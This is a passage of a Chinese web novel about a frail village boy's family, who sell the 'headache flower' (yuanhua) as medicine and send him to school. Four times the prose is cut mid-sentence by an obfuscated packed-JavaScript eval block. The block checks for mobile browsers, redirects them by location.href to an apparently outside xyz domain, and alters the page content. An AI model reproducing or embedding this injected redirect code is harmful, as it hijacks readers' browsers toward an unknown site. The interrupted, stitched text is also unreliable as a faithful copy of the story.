柳巧娘爱不释手地摸着铁刀,“这刀好,就是怎么没让陈铁匠给磨磨开了刃?” 赵来贺正准备提着水桶去和泥巴架铁锅,“差点忘记了,”他放下水桶,从背篓地下掏出来几个橘子递给巧娘,“陈铁匠这些日子家里忙,没空给开刃,退了我几个铜板,又送了我几个橘子,让我自个儿开。” 那几个橘子黄澄澄的,跟秋日里的橘子大不一样,巧娘只在过年前的一次集市上见过,虽然长得丑,却卖的贵价,她们村里人是不买的,因此此时见了也欢喜。 “回头煮水,这东西说是治咳嗽呢,宝儿铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751181|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定喜欢,只是没成想,这才刚过完年,陈铁匠家生意便这么好了。” 赵来贺一边拌泥巴,一边回道,“倒也不是忙生意,陈家年前成亲的儿子,就是哪个娶了镇上人的儿子,过了年从岳家回来了,陈家一家都里外忙着,怕怠慢了镇上的媳妇。” 巧娘迟疑,“这不是入赘嘛?陈家老太太可不像是能让儿子当赘婿的主儿。” “年前没听说是入赘,许是镇上人疼闺女,留在家里过个年也说不准。” “宝儿想读书吗?” 搬家第二天早上,赵来贺问赵丰年。 赵丰年并不惊讶,在所有人都捧高读书人的大环境下,他爹娘又如此宝贝他,不可能没有想法。 这个时代,读书人就意味着高人一等,拥有官身更是意味着拥有了特权,赵丰年很清楚,想要在这个时代好好地活下去,活得好,护住家人,也只有这一条路。 只是,拥有三十五两银子,三亩地的农户家,再供一个读书人,就算不起房子,也远远不够,就如老赵家,在村子里条件算不错了,但举全家之力,也才供了一个童生,更遑论他们家呢。 但是,方法总是比困难多。 晚饭吃的是杂豆饭就咸菜,赵丰年多了一碗鸡蛋羹。 张氏养了两只下蛋的母鸡,天暖的时候一天能有两个蛋,入了冬后就少了,平日里张氏宝贝得紧,这一个月来攒了十来个,是要拿到城里换钱的。 离开的时候,张氏偷偷摸摸将巧娘拉了出去,回来的时候,巧娘眼眶明显红了,小心翼翼捧着十个蛋给儿子看。 “这些蛋是奶奶给咱们宝儿补身子的,宝儿以后要好好孝敬爷爷奶奶。” 但是任凭有点良知的人,都做不到自己吃鸡蛋,父母吃糠咽菜吧。 赵丰年毫不犹豫地给赵来贺巧娘各舀了一勺蛋羹。 “都说了爹不爱吃鸡蛋,这玩意没味道,爹就喜欢吃咸菜,宝儿自己吃!” “娘也不爱吃,娘以前在厨房里吃了好多呢,早就不喜欢吃了。” 赵丰年捂着自己的碗,坚决不肯接受,“如果爹跟娘都不喜欢吃的话,那我也不喜欢吃了。” 赵来贺跟巧娘对视一眼,既无奈又感动,这些日子来,他们发现孩子越发有主见了,这样精神的儿子让两口子也越发有了动力。 “宝儿真乖,改明儿个爹进山给宝儿逮兔子吃肉!” 赵丰年不清楚外面的武器发展到什么程度了,大概率还没脱离冷兵器时代,但是作为农家的业余猎手,据他所知的,赵来贺打猎的工具除了一把弓,几只反复利用的箭,箭头是铁做的,沾了水容易生锈,赵来贺十分宝贵,不时就要拿出来磨一磨。 这种工具十分考验人的准头力气,费时费力,遇到危险的大型动物,保命都是个难题。这也是为什么赵来贺虽然经常上山,但是收获并不大的缘故了,上次能猎到银狐皮子,已经是难得的运气。 赵丰年有心想替他改造武器,但是又怕吓到夫妻俩。这段时间的相处,加上原来的记忆,他早就将他们当做真正的亲人了,他不希望因为自己的缘故让他们伤心。 也该找个借口了。 5. 农家日常 开春后,各家各户都忙碌了起来,赵丰年家的三亩地有一亩水田,这时候要赶着下谷子育秧,另外两亩地就在竹林地旁边,雪化了后露出了青翠的麦苗,小块地里的菘菜已经不剩多少了,年后赵来贺全拔了,不时便要去翻地,等着再过不久下豆种。 “这豆子不好吃,一股子腥味,吃多了还要放屁,要不是顶饱,谁吃这东西呢。”巧娘坐在门口挑出坏豆子,见赵来贺一身泥,便又问,“都播下去了吗?田里水都足的吧?” “足的,雪化在了田里,我拦了田坝,好多蝌蚪跟田螺,还有泥鳅,有志带着村里好些孩子都在抓泥鳅。” “那玩意跟豆子一样,都腥得很,除非用油炸,否则可不好吃。” “好歹是份肉,豆子也好,刚开始大家还不肯种,那年要不是种了豆子,估计大要饿死好些人,能饱肚子的东西都好。” 也是听到这里,赵丰年才知道,这个时代,黄豆还只拥有最原始的饱腹作用,又或许,只是在这个小地方才如此,其他地方也许早有人发现了大豆的种种吃法也说不定。 “娘听说过豆腐吗?” “什么豆腐?外面冷,宝儿还是在屋里玩。”巧娘连忙放下豆子,作势要牵他回去。 赵丰年摇摇头,将自己的专用小马扎放下,“我不冷,我坐在这里陪娘一起捡豆子。” 巧娘只好作罢,又摸了摸儿子的手,确定是暖的,这才放心,“宝儿真乖,都会帮娘干活了。” 赵来贺也笑,心里打定主意等农忙过后要上山多挣点钱,给儿子补身体。 “娘还没回答我呢,娘听说过豆腐吗?” 巧娘看了丈夫一眼,看他也是一脸茫然,“豆腐是什么?宝儿从哪里听来的?” “听三叔读书听来的。” 夫妻俩并没有怀疑,赵来庆确实喜欢在屋里读书,读得摇头晃脑的,看着就晕,许是宝儿刚好听到就记住了吧。 “咱们宝儿真聪明,一看就是个读书的料子。”两人当即决定等天暖和一点立马送儿子去读书。 赵丰年心里已经有了打算,也只等着先去读书。 临县有三家私塾,一家县学,县城的私塾跟官学不考虑,除此之外,最近的是陈家湾陈秀才办的,再远一点就是顾家村的顾秀才了。 陈家湾的陈秀才,也是赵来庆的岳丈,毕竟离得近,收费也是几家私塾中最便宜的,村里有一两个人家想送孩子去学字,几乎都是送到陈秀才那边。 上回赵来贺去取铁锅的时候,也去陈秀才家瞧了瞧,刚巧陈秀才在屋里摇头晃脑,皱着眉头,使着一把指甲厚的木尺打孩子手心,赵来贺当即便有些犹豫,转头便把原本想给陈秀次当见面礼的两个鸡蛋揣进了怀里,他虽不懂读书这事儿,但会看人,就觉得陈秀才不太好。 回来跟巧娘商量的时候,巧娘怕孩子送过去要挨板子,也拿不定主意,只好说再等等去顾家村看看,毕竟这可是大事。 赵丰年倒是没想那么多,谁教对他来说只是个借口,这个叫做大夏的朝代,用的是楷书,他是认识的。 也许这是一个平行时代,又或者是现代很流行的架空朝代,各种东西都混杂了一点,又有谁说得准呢。 “豆腐就是豆子做的,豆子还能做豆浆,豆皮,豆油。” 巧娘目瞪口呆,前面两个不懂,但是那个‘油’她听明白了,“什么油?豆,豆子油?” “豆子是干的,又不是肥肉,哪里来的油,指定是三哥读书读错了,带着宝儿这样说。”赵来贺觉得自己发现了真相。 赵丰年叹气,心想读书这件事迫在眉睫了。 晚饭吃的是麦粥,加上一碟野菜。 春天就是这个好,野菜多。 赵丰年的面前依旧是一碗鸡蛋羹,在夫妻俩无奈又感动的目光下各分了一勺后,这才慢悠悠地品尝着野菜。 有点涩,有点糙,细嚼后又有点回甘,说不出来的味道。 “附近小山坡上都没什么野菜了,头痛花开得到处都是,小孩子不懂事,还摘了回家,你是没看见,桂花婶发了好大脾气。” 赵来贺点点头,“那花漂亮,怪不得兰子。”说完,朝赵丰年补了一句,“宝儿可别去摘,那东西摘了要害头痛。” 巧娘又继续,“金桃怀上了,也怪不得桂花婶小心,宝儿从不到山坡那边去,咱宝儿听话着呢。” “宝儿的药没了,改明儿得去趟县城。” “看到买糖葫芦的买一串,宝儿好长时间没甜嘴了。” “嗯嗯,知道了。” 第二天一早,赵来贺去水田那边看稻苗,巧娘去河边洗衣服,在赵丰年的软磨硬泡下,带上了一个小尾巴。 赵家村这条河叫长龙河,流域很长,贯穿了附近数十个村子,赵家村的这一段河面不算宽阔,天气好的时候很清楚地看到对面的山村。 他们家的茅草屋地势比村里高,一路经过开满头痛花的山坡,一个不大的貌似已经废弃的池塘,以及他们家的竹地,这才到了河边。 这会子有点晚了,加上这一段住的人家少,河边以及没几个洗衣服的人了,只看到远处水沟边上大胖带着几个小的在挖野菜。 见赵丰年带盯着那边,巧娘放下木盆,“宝儿是不是想跟哥哥姐姐们一起玩啊?” 赵丰年点点头。 巧娘很高兴,衣服也不忙洗了,牵着赵丰年小手就往那边去。 大胖听完拍拍胸脯立马答应了下来,只是,等巧娘走后,他又犯起了难。 宝儿这么脆弱,怎么带他玩呢?万一又生病了呢? 倒是赵青青主动站了出来,“宝儿弟弟要跟我们一起挖野菜吗?” 赵丰年依旧点头。 都是小孩子,很快就打成了一片,就算赵丰年动作慢,谁也没嫌弃他。 “大胖,这就是你四叔家的罐子啊?”另外一个跟大胖差不多大的孩子推了推大胖,稀奇道,“看着是跟我们不一样,他可真白,我还没见过长得这么白的人呢,人也小小的瘦瘦的。” “什么罐子!他叫赵宝儿。” “我娘说的啊,说你们家天天煮那个苦水,给罐子喝。” 另外一个瘦点的挤了过来,“那个啊,叫药罐子,那个苦水就是药水儿,牛蛋你不懂还瞎说。” “你才不懂呢,药水就是苦水儿!” “那也是,我可不想喝苦水。” “那我也不想,去年我生病的时候喝过一次,可苦可苦了。” “小罐子真可怜,天天只能喝苦水。” 大家纷纷同情起来,一时间,看着那个拔野菜的背影,仿佛目光都多了几分慈爱。 等等?什么野菜? “诶诶,小罐子,那是头痛花,不能拔!” 赵丰年转身朝说话的孩子看过去,几个孩子见赵丰年一手头痛花的花朵,地上只剩下头痛花的杆子直立立地杵在哪里了。 头痛花确实很难连枝一起拔下来。 赵青青不知所措,“弟弟,弟弟赶紧扔掉,这个摘了头痛的,弟弟现在头痛吗?” 赵丰年看了一眼手上的花汁,悉数扔进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751182|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了水沟里,惊得里面的小鱼四处乱窜。 赵青青松了口气,其他几个小孩也都松了口气。 “昨天兰子摘了一大堆回家,被桂花奶奶拿着笤帚打呢,都追到下河村河坝那边了,太吓人了。” “为什么摘头痛花会头痛呢?” “谁知道呢,反正大人不让,要我说,我可不怕头疼!” 几个孩子大的十岁,小的才五六岁,就已经学会空闲的时候摘野菜帮着家里添一道菜了。 赵丰年陆陆续续摘了几根,都塞给了赵青青后就不想动了。 他这个身体确实孱弱,才活动了几下背后就出了汗,索性找了块石头,坐着盯着水沟里的动静。 这一片的野菜很快就摘完了,几个孩子商量着要去另外一块地方。 “小罐子要去吗?” “巧婶子应该不让小罐子去吧?” 赵丰年表示要在这里等他娘,几个小孩见他两手空空,一人塞给了他几颗野菜,这才离开,赵大胖则是赶走了赵青青,很有 兄长范儿地表示要留下来保护弟弟的安全。 赵丰年眼中流露些许笑意,接受了这些善意。 大部队走后,也许是赵丰年话少,赵大胖居然开始跟他说起了自己的烦恼。 “......你看我三叔,你三伯,读了这么这么久,还不是天天喝米汤,什么天天有肉吃,顿顿吃大白饭,我娘就会骗我呢,再说了,去县城里当伙计当那什么账房有什么好的,大爷爷家香花姑姑就是去了县城里,后来再也没回来了,你想想,再也不能回来诶,这些认识的人你就再也见不到了,见不到爹娘了,见不到爷奶,也见不到牛蛋、铁柱、栓子、狗蛋......我去过一次县城,那里东西都可贵了,你说我去了县城怎么活呀,我都买不起糖葫芦......” 看来,赵老大也打算送大胖去读书了。 “读书可以让你变得更聪明,学到更多本事,你学了本事,就不用挨饿了。” “也买得起糖葫芦了。”赵丰年顿了顿,补了一句。 在这个时代,能有机会读书,就是有机会触及到另外一个世界,是一个家庭跨越阶级最快速也是最直接的办法。可能孩子们还小不清楚,但是如果可以,赵丰年希望所有的孩子都能去认字,去读书。 “可是我种田也挺好的啊,我一点都不怕累,我力气可大了!” “你知道你家里有几亩地吗?知道一亩地产粮多少吗?要交几成税?又要多少粮种?卖粮什么价?怎么定契书?” 大胖懵了。 “你看,这些你如今都不知道,你去交税,却连账都算不清楚,你不识字,也看不懂府衙的通知,就只能任那些别人说多少是多少,你觉得好像算多了,可是你不识字,也不会算术,所以你只能认了。” 为什么,为什么想到那个场景就好可怕,又好可怜啊。 大胖哭了,原来,原来他未来会过得这么凄惨吗? 就在大胖沉浸在悲伤中,告别了村里一个妇人的巧娘找了过来。 “这是怎么了?大胖怎么哭了?” “大胖马上要去读书了,这是开心的。”赵丰年面不改色。 巧娘点点头,“没想到大胖这么好学,真是个好孩子,还有,宝儿你得叫哥哥。” “嗯,好的,大胖哥哥。” “咦,这沟里的鱼怎么都翻肚皮了?” 芫花,性苦、辛,寒,有毒,俗名头痛花,又名药鱼花。 赵丰年笑了笑,“太好了,今天有鱼汤喝了。” 6. 农家日常 大胖晕乎乎的,还没搞清楚状况,就被塞了几条巴掌大的小鱼,直到回到家里,才被王三娘拦了下来。 “哪玩去了又,让你带着二胖,他都在家哭老半天了!哎,哪来的鱼,你又下河玩水了?都说了多少次——” “没有没有!”大胖反应过来,逃过了王三娘的巴掌,“娘你咋又打人呢,这是我四婶给我的,你看我四婶,宝儿说要想吃鱼就去给捞鱼,哪像你,就知道打人!” “嘿,你这孩子——”王三娘作势又抬起了手,大胖连忙躲在了刚回来的张氏身后。 “奶你看我娘!” “这又是咋了?” “我四婶给我鱼呢,我娘还想打我。” 张氏朝篮子看了一眼,“还真是鱼,哟,怎么还杀好了,你去你四婶家里玩了?” “没呢奶,我今天跟狗蛋他们去河沟摘野菜去了,我四婶要洗衣服,就拜托我帮忙照顾宝儿,完了就送我鱼,这是谢礼!”大胖一脸自豪,这个谢礼还是他从宝儿哪里学来的,配得上他的大哥风范。 “还谢礼,宝儿还能出来玩?又吹牛呢吧?”王三娘眼睛瞥到一个身影,话锋又一转,“不过也是,你四婶到底跟那些脸皮厚的人不一样,这么点小事还要送鱼,不像有些人,天天赖在别人家里,扯了点野果子还要躲在屋里头吃,连个果核也没见着!” 刚听到动静出来看情况的陈莲听到这话,身子僵了僵,又缩了回去。 王三娘翻了个白眼,接过鱼朝厨房去了。 张氏看着情况也不想再开口了,眼看都快四月了,老四、老二也先后都搬了出去,老四是有个旧的茅草房,老二家的屋子也在盖了,虽然还住家里,但是好在是没耽误事,偏就老三家,一点动静都没有,平日里做个饭都偷摸着,着实有些不像话。 但是这儿子是自己的,孙女也是自己亲孙女,张氏自然不会开这个口赶人出去。 而这边,赵来贺提溜着一串泥鳅外加一只甲鱼回到家中。 “今儿个咱们家可是注定要好好吃一顿了,又是鱼又是泥鳅的。”巧娘笑着接过了那串泥鳅,虽是嫌弃泥鳅土腥味太重,但她总是有办法的,就像是赵来贺说的,好歹是一份肉菜。 只是等看到那黑不溜秋的王八,巧娘就皱起了眉头,“你捉这玩意做什么,又不能吃。” “田坝漏水了,被王八打得到处是洞,想着宝儿八成没见过这玩意,特意逮回来的。” 赵丰年上前瞧了瞧,这不是甲鱼吗?这东西又叫鳖,前世有一道名菜,叫做“霸王别姬”,就是用鸡肉跟鳖做的,营养价值丰富,颇受欢迎,这在里居然不能吃? “宝儿小心一点,这东西会咬人呢,咬住了就不松口。” 柳巧娘嘱咐了一句,见儿子只是看着不上手这才放心。 “哪来的鱼?”赵来贺边擦手边凑上来看。 “捡来的。” 赵来贺看看儿子,赵丰年点点头,“是捡来的。” “那今天还真是运气好!” 巧娘当即就笑了,“这鱼确实是捡来的,却是在河沟里捡的,你是没见到,十来条巴掌大的鱼,好端端地飘着了,有的还在甩尾巴,瞧着跟醉了酒似的,这不,被我一盆都给舀回来了。” 赵来贺是个猎手,寻常人不知道,他往年在山里的山涧里却遇到过这种情况。 “这鱼怕是吃了什么有毒的,万一肉也有毒,还是扔了吧。” 巧娘顿时有点犹豫,其实她也猜测这鱼怕不是生了病的病鱼,若是这样,那确实不能吃了。他们大人倒是无所谓,就是宝儿身体虚弱,可不能随便乱吃。 “爹,娘,这鱼可以吃,鱼吃了头痛花,吃晕的。”芫花含有毒素,能麻痹鱼的神经,河沟的那一截并不大,但毕竟是活水,鱼吃下去的毒素不多,这也是为什么捞上来的时候有些鱼还在甩尾巴,而且内脏都处理干净了,不影响的。 巧娘回忆了一番,确实想起来水面有头痛花,只是她还是头一回知道鱼还能吃头痛花吃晕的。 赵来贺这下就懂了。 “那这鱼还真能吃!嗨呀,怎么没能早点发现呢,早点发现这玩意还能这么用,谁还躲着走。” “以前也没人特意把它扔水里呀,这有谁知道呢,这次也是运气好,估计是他们小孩子扔着玩,误打误撞。” 其实芫花的根茎磨成的粉才是药鱼的首选,花蕾也要揉碎了才有用,否则,就是扔下去,也药不到鱼。 只是,芫花的价值可不是只有捕鱼。 也是时候先赚点小钱了。 “爹,我们去挖头痛花卖吧。” “啊?” “头痛花这么有用,能让鱼吃了睡觉,我喝的药也让人想睡觉,说不定头痛花就是药呢?我们把它挖一点拿去县城里卖好不好?” 儿子想要赚钱,也是给家里分担,赵来贺是很感动又心疼没错,但是,“宝儿啊,这个花能药晕了鱼,跟人喝的药是两码事,你喝的药里面可没有头痛花的。” 赵来贺也是读过一年书的,只是后来家里只能供一个,先生说他长的壮缺了几分文气,赵老头便让他回家来了,这些年来,儿子的药方他都是会背的,很清楚里面并没有一味叫做头痛花的药。 “头痛花是村里人这样叫的,万一它还有其他名字呢?” 赵来贺犹豫了,这种还真有可能。 赵丰年继续,“不如我们先挖一些拿去孙爷爷的药铺去问问,孙爷爷的药那么苦,闻着也头痛,但是可以治病,说不定,这个头痛花就是能治病呢?” 赵来贺哭笑不得,巧娘倒是觉得,这话听着有道理。 “你就带点过去呗,反正要给宝儿配补药,到时候背上背篓,也不是很重,难得宝儿想这么个办法。” “那也行吧。” “爹,我们连着根一起挖吧,这样能新鲜些。” 巧娘点头,“是这个理,新鲜的好卖。” “还有,咱们晚上去,晚上花都不开了,就不怕头痛了。” 巧娘继续点头,“晚上也没人瞧见,免得他们小孩子家家的有样学样,回头家里人得怪我们了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751183|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼见妻子儿子三言两语就决定了这事,一副真能卖钱的模样,赵来贺都忍不住猜测,难道这东西还真是宝? 当天傍晚,拒绝了儿子的帮忙,赵来贺就开始行动了,他们家后边这花多得是,这边偏僻,平日里本来就少有人来,这个点又是饭点,各家各户都燃起了炊烟。 最后,是实打实地挖了一小背篓,怕被人看见笑话,又在上面盖了一层布,放着几颗野果子。 到了县城,赵来贺直奔孙大夫的药铺。 “……这东西能药鱼,我琢磨着怕是一味药哩,就想问问您这儿收不收……”,配完儿子的补药,孙来贺等着孙大夫翻看的功夫,赵来贺搓着手,有些不好意思。 孙大夫看完背篓里的芫花,就笑了,“难得你心细,我们确实是收整株芫花,但是这种全开的,花我们是不收的,只要底下的茎皮还有根,这样,整株满足我们要求的,按照十五文一斤,去花的,按照十文一斤,如何?” 赵来贺揣着热乎乎的四十文从药铺里出来,看到外面的吆喝声,整个人都是火热的。 四十文啊,能买上四斤精米,两斤肥肉了!关键是,这东西没花什么功夫,就跟白捡来的似的。 想到这里,赵来贺恨不得立马回家,赶紧把那些头痛花,哦,不,得叫芫花,听听,多好听的名字啊,赶紧回去多挖一点才行! 一回到家,赵来贺连忙拉着巧娘进了屋。 赵丰年拿着赵来贺塞给他的糖葫芦,不紧不慢坠在后面。 “这么说,还真是个药材?” “可不是,说是能消肿,还有个什么治风寒咳嗽的,总之用处多着呢,还真叫咱们宝儿说中了,咱们宝儿这脑瓜子长得,真聪明!”见赵丰年走了过来,赵来贺喜滋滋地摸了摸他的脑袋。 巧娘拿着钱,心里也是火热,“那还等什么,今天晚上再去一趟,这回多弄点,咱们这里,这东西有的是呢。” “不过孙大夫也说了,那种花全开了的不收的,得是花苞才可以。” “这还不简单,你不是说收根吗,那种的咱们把花去了,挖根呗。” “那成的,也有十文钱一斤呢,不过,要是多了,怕是瞒不住其他人,你说,咱们要告诉村里人吗?” 巧娘犹豫了片刻,摇了摇头,“你别说我自私,咱们家的情况你是知道的,宝儿身体不好,药得长吃着,后面还要去读书,这又是钱,我得紧着先顾好咱们这个家。” “是这个理,我也没想着告诉其他人,东西就摆在那里,我们仔细着来,便是后面他们发现了,自己去做这门子买卖,我们也不管不问。” 如果所有人都来采,只采集花跟茎的花还好,若是都是整株挖,怕是很快芫花就要在这片土地里消失了。 但是要说种植,也没这个必要,在这个时代,芫花并不是什么珍贵的药材,附近几个村子里,包括山上,这东西都多得很,只不过先前没人想过要去卖这东西,等卖得多了,后面这东西的也就叫不上价了。 占领先机,赚上几笔也就够了。 7. 农家日常 接下来的每天,赵来贺夫妻俩白天干活,晚上挖芫花,天不亮就往县城里赶,这样小半个月下来,居然真没人发现。 赵丰年把这一切归功于他家太偏的缘故。 晚上,一家人坐在床上数钱。 “这两天,桂花婶问了我好几次,今天我看她跟刘阿婆家都在田垄里挖芫花呢,这买卖怕是做不了几天了。” “也差不多了,怪不得铁牛前些日子往县城里赶,怕也都知道了,这没啥,他们想做咱们又不拦着,芫花也快谢没了,昨天孙掌柜还跟我说不再收了,咱们索性不去了,等来富哥那边有信儿,把宝儿读书的事情定下来,我也要准备进山了。” 前些日子,老宅那边说是已经把大胖送到了陈家湾陈秀才的私塾读书去了,赵来贺不喜欢陈秀才,觉得他一来喜欢体罚学生,二来可能水平也不行,没瞧见给自己三哥生生教成了一个迂腐的书呆子了么,但是附近三个私塾,就数陈秀才收的束修最少,本来赵来贺还要犹豫一下,但是这回卖芫花挣了足足一两半!自家儿子这么聪明的脑袋,肯定要找个好先生。 赵来富是赵老头大哥的儿子,也就是赵来贺大伯家的堂兄,娶的是顾家村顾秀才亲戚的女儿,自家的孩子也是送去了顾秀才家,顾秀才跟他儿子都是秀才,顾老秀才没想继续科举了,父子两人便开了一家私塾,不过小顾秀才听说还是要下场的,贵是贵了点,但那读书的氛围肯定不一样。 虽说两家私塾目前为止都没有出过秀才,但是赵来贺就是觉得,顾秀才那边要更好,他们父子也不喜欢打手心,再说,人家小顾秀才还继续考试呢,万一成了,岂不是多了个当官的先生。这一点上,赵来贺觉得自己还是有点远见的。 至于第三家,那是在县城里,就不是赵来贺能想的了。 那边还在想着读书的事,老宅这边,王三娘自从从柳婶子那边听说了最开始买芫花的是赵四家,顿时心里就不舒坦了。 “老四也不是个好的,有这好事也不告诉自家人,昨日个县城的药铺头痛花的价格都降到三文钱一斤了,听说上个月能有十文钱呢!” 赵来金没当回事,“老四家宝儿要吃药,肯定要多想办法多赚点钱的。” “那你还有两个儿子呢,大胖还要读书,花销大着呢,还说什么兄弟呢,有好事都不念着你这个当大哥的。” 赵来金不跟她争,索性闭嘴了。 没过两天,镇上跟县城都不收芫花了,赵家村也渐渐没什么人再挖芫花,只赵丰年偶然能看到赵青青带着赵翠翠还在挖,见到他还给他塞了一把野果子。 也是这时候他才知道,赵二夫妻竟想把柱子送到县城的私塾去。 赵丰年对此没有什么想法,为了孩子的前途没什么错,但是为此压着两个女儿做活,让他心里很不是滋味。 只是不等他深思,他去顾秀才那里读书的事就定了下来。 这天,赵来贺特意在林子外围打了两只野鸡,加上巧娘晒的一筐野菜干,并一斤肥肉,又用红布仔细包了一两银子,一家人去了赵家村。 顾家村在赵家村往东,中间还隔着柳河村,约莫半个时辰的路程。 早些日子赵来贺就在赵来富的引荐下跟顾老秀才见过,这次算是轻车熟路了。 见了面,顾老秀才照例简单地问了赵丰年几句话,见他口齿清晰,安安静静,无论是对束修还是对人,心里都十分满意。 “我记得你们家这一辈从的是‘有’,可有了大名?” 赵来贺忙应声,“有了,这孩子从小就身子骨弱,他生下来那天,刚下了一场大雪,那一年收成是大好的,我们想着就不从‘有’了,便取了‘丰年’两字,也好压一压。” 顾老秀才摸了一把胡须,赞赏,“瑞雪兆丰年,你们又是‘赵’姓,甚好甚好。” 赵丰年也是这时候才知道他的大名居然跟上辈子一样,有些惊讶,但是听完赵来贺为他取这个名字的含义,便只剩下触动了。 无论怎么样,赵丰年算是正儿八经开始读书了。 就在赵丰年上私塾半个月后,赵来贺在一个凌晨进了山林。 “早些上去,不费时间,宝儿不用担心,你爹可是老手了。”虽是这样讲,但巧娘眉宇间分明也是不放心的。 赵丰年没听说赵来贺近期要上山,如今见人上山了,也只能盼着他爹顺利归来,而他自己,则是开始研究给赵来贺改良武器了。 就在母子俩人说话间,顾秀才家到了。 巧娘交代好儿子,看着他进去,这才离开。 里面已经有几个孩子在了,包括了赵来富的独子赵有志。 “赵丰年,你又让你娘送过来啊?真是没用,胆小鬼!” “他娘还叫他宝儿呢,哎呦,娘的小宝~” “赵有志,他是你弟弟吧,你们怎么没一起来?” “他们兄弟俩可真不像,他瘦得跟竹竿子似的,赵有志像个球。” 赵有志便是赵大伯孙子,赵来富儿子,他是家中独子,因此被养的有点胖,在这个年代的乡间很是难得。 一直被调侃让赵有志有些恼羞成怒,“谁跟他兄弟了,别瞎说!” “块上课了,赶紧坐好吧,今日可是小顾夫夫子讲课。” 有年龄大一点的孩子说了几句,那几个孩子也不敢再闹了,当即放过了赵丰年。 赵丰年没说什么,只寻到自己的位置坐了下来。 “......接下来,我们继续来读昨天的《千字文》——” “夫子,” 被打断了教学,小顾秀才正要不悦,见到开口的孩子,却是笑了,“赵丰年,你可是有何见解?” “夫子,您昨日说明今日要学《千字文》,学生私以为不能等夫子讲解完才学习,而是要提前背诵,才能加深我们对其中的思考,有益于我们对书本的理解,这样一来,也更加节省学习的时间,当然,这只是学生一点浅见,若有不当之处,还望夫子莫怪。” 小顾夫子沉思片刻,“赵丰年,你可是能背诵了?” 赵丰年点点头,随即,《千字文》流畅而出。 几个刚接触《千字文》的孩子纷纷震惊不已。 饶是这小半个月来也了解到赵家村这个孩子十分聪颖的小顾秀才也依旧很是吃惊。 “赵丰年,最日才带着大家通读一遍,今日你便会背了?” 其实《千字文》并不长,就一千字,可难得的是,这是由一个才学字半个月的孩子背出来的。 “然也,夫子。” 小顾秀才心中五味陈杂,接受了这可能是个天生适合读书的料子,这才环视下方的其他孩子,“赵丰年说的很有道理,既是这样,那往后学习新篇幅之前,大家都要背诵,我会一一检查,这样,便从明天开始罢。” 底下一片哀嚎,赵来志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751184|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些愤愤地看向了堂弟。 而赵丰年岿然不动。 学生就要有学生的样子,有功夫排挤,多半是功课不多。 这天结束后,小顾秀才跟顾老秀才聊到了赵丰年。 “...赵家的这个孩子,实在是块读书的好料子。” 顾老秀才点点头,“记忆出众,甚至能做到过目不忘,聪慧非常,冷静内敛,此子他日定要一番作为,没准儿我们爷俩往后会因为他名声大噪了。” “爹就这么看好这孩子?须知我明年也要再下场一次,这次我是有些成算的。” 顾老秀才晃了晃脑袋,“他日自会见分晓,这孩子有自己的主意,往后我们也不必多加干扰他,倘若真有一天他一飞冲天,只他记得你我的几分师恩便是咱们家的运道了。” 第二天,小顾秀才果然抽查背书,私塾里又是一片哀嚎,只有赵丰年不紧不慢拿出了沙盘学字。 考虑到一些孩子下课还要回家帮忙家里的活计,村里的私塾下课都比较早。 连续几日巧娘都早早地在顾家门口一颗桂花树下等着接儿子,这天却换了一个人。 “爹?” 看着儿子挎着小书袋朝自己走过来,赵来贺脸上笑成了一朵花。 “咱们宝儿背上这书包可真神气!” 回去的路上,父子二人自然而然地谈起了这些天的经历。 赵来贺跟儿子说着山上的见闻。 “那野猪,嗬,可大一只,你爹我想着啊,咱那弓箭可扎不破野猪的老皮,一溜烟地爬上树了,那野猪开始还想撞树来着,得亏碰到了一只落单的狼,那狼也大,就是受了伤,我估摸着是被赶出了狼群,于是趁着他俩打架的功夫,我就跑啦......” 赵来贺说的轻松,赵丰年却知道真实情况肯定比他说得更加严峻。 这一趟虽是没受伤,但是显然山里比自己想象的更加危险,赵丰年决定回家就跟他爹说说弩箭的事。 “......明儿去城里把兔子卖了,给宝儿买好吃的,这回打的多,有只小兔崽子,让你娘给你煮了补补身体!” 